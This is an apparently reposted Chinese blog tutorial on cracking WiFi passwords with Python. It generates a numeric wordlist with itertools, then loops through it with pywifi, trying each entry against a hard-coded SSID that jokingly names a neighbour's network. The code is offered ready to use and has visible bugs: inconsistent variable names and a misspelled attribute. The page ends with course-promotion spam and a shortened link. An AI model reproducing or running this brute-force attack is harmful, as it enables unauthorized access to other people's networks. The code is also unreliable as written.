前言 文的文字及圖片來源於網路,僅供學習、交流使用,不具有任何商業用途,版權歸原作者所有,如有問題請及時聯繫我們以作處理。 作者:李嘉圖 PS:如有需要Python學習資料的小伙伴可以加點擊下方鏈接自行獲取http://t.cn/A6Zvjdun 起因 今天有個朋友家裡wifi密碼忘了,沒有能連上的 ...
前言
文的文字及圖片來源於網路,僅供學習、交流使用,不具有任何商業用途,版權歸原作者所有,如有問題請及時聯繫我們以作處理。
作者:李嘉圖
PS:如有需要Python學習資料的小伙伴可以加點擊下方鏈接自行獲取http://t.cn/A6Zvjdun
起因
今天有個朋友家裡wifi密碼忘了,沒有能連上的設備,抓瞎了.
剛好看到一篇博客,學了一下,成功了,非常簡單.這個方法用來破自家的wifi效率很高,你自己設計可能的演算法肯定最貼近你自己設計密碼的思路,什麼名字加生日啊或者車牌號啥的.甚至自己把可能的密碼都寫出來,寫上幾十個,存成txt文件就可以了.
這篇文章學慣用還可以,動歪腦筋的請放棄吧,完全不懂演算法的話,生成密碼本就得幾天光是陌生人的名字+生日的組合,寫出來就得幾個G了,你想想幾個G的txt文件是啥概念 ,在挨個試錯破解,又得很久.
原理:
根據一個固定的密碼本,一個一個試密碼,直到成功為止 (確實很弱智)
難點:
密碼本的設計(設計越合理,越接近生活中的常用密碼,破解成功率越大,破解速度越快)
我們一般是在網上找現成的常用密碼本,或者自己設計演算法,猜測密碼,這裡先介紹一下自己設計的最簡單的密碼生成器
密碼生成器:
利用Python的itertools工具
註意:下載這個包的時候,名字是more-itertools(我也不知道為啥.應該是什麼歷史原因)
在cmd面板輸入: py -m pip more-itertools
題外話:推薦使用清華園的國內鏡像下載,先更改pip的下載鏈接
py -m pip install -i https://pypi.tuna.tsinghua.edu.cn/simple pip -U #先下載最新的pip pip config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple #設置pip的國內鏡像
下麵是最簡單的密碼生成器,主要是示例一下,演算法可以自己改
import itertools as its words='1234567890'#迭代器 r=its.product(words,repeat=3)#生成密碼本,五位數的話,repeat=5 dic=open('./wifipasswords.txt','a')#以追加模式打開文件,如果文件不存在,會自動創建 for i in r: dic.write(''.join(i)) dic.write(''.join('\n')) print(i) dic.close() print('密碼本已經生成')
模擬WiFi連接
import pywifi from pywifi import const import time #下麵的自定義函數是測試連接,返回連接結果 def wifiConnect(pwd): wifi=pywifi.PyWiFi()#抓取本機的網卡介面 ifaces=wifi.interfaces()[0]#獲取第一個無線網卡 iface.disconnect()#斷開所有連接 time.sleep(1)#休息一秒 wifistatus=ifces.status()#連接狀態 if wifistatus==const.IFACE_DISCONNECTED:#如果沒有wifi連接 profile=pywifi.Profile()#創建wifi連接文件 profile.ssid='gebilaowang'#要連接的wifi的名稱 profile.auth=const.AUTH_ALG_OPEN#網卡的開放狀態 profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密演算法,一般的wifi加密演算法是wps profile.clipher=const.CIPHER_TYPE_CCMP#加密單元 profile.key=pwd#讀取試用密碼 ifaces.remove_all_network_profiles()#刪除失敗的文件 #設定新的連接文件 tep_profile=ifaces.add_network_profile(profile) ifaces.connect(tep_profile) time.sleep(3)#留時間給系統反應,就像我們平常連wifi,輸對密碼後要等一下 if ifaces.status()==const.IFACE_CONNECTED:#如果連接成功 return True else: return False else: print('你已經連好wifi了,別貪心啦') #下麵的自定義函數是讀取密碼本 def readPassword(): print('開始破解:') path='./wifipasswords.txt'#密碼本路徑 file=open(path,'r')#只讀模式打開密碼本 while True: try: pad=file.readline()#一行一行讀取 bool=wifiConnect(pad)#測試連接,返回連接結果 if bool: print('密碼已經破解: ',pad) print('wifi已經連接!!!') break else: print('密碼破解中...密碼校對',pad) print('\n 匹配失敗') except: continue #開始破解 readPassword()
破解成功率取決於密碼本的設計,有機會的話下次寫一下
2020年最新Python教程:
如果你處於想學Python或者正在學習Python,Python的教程不少了吧,但是是最新的嗎?
說不定你學了可能是兩年前人家就學過的內容,在這小編分享一波2020最新的Python教程。
以上這些教程小編已經為大家打包准備好了,希望對正在學習的你有所幫助!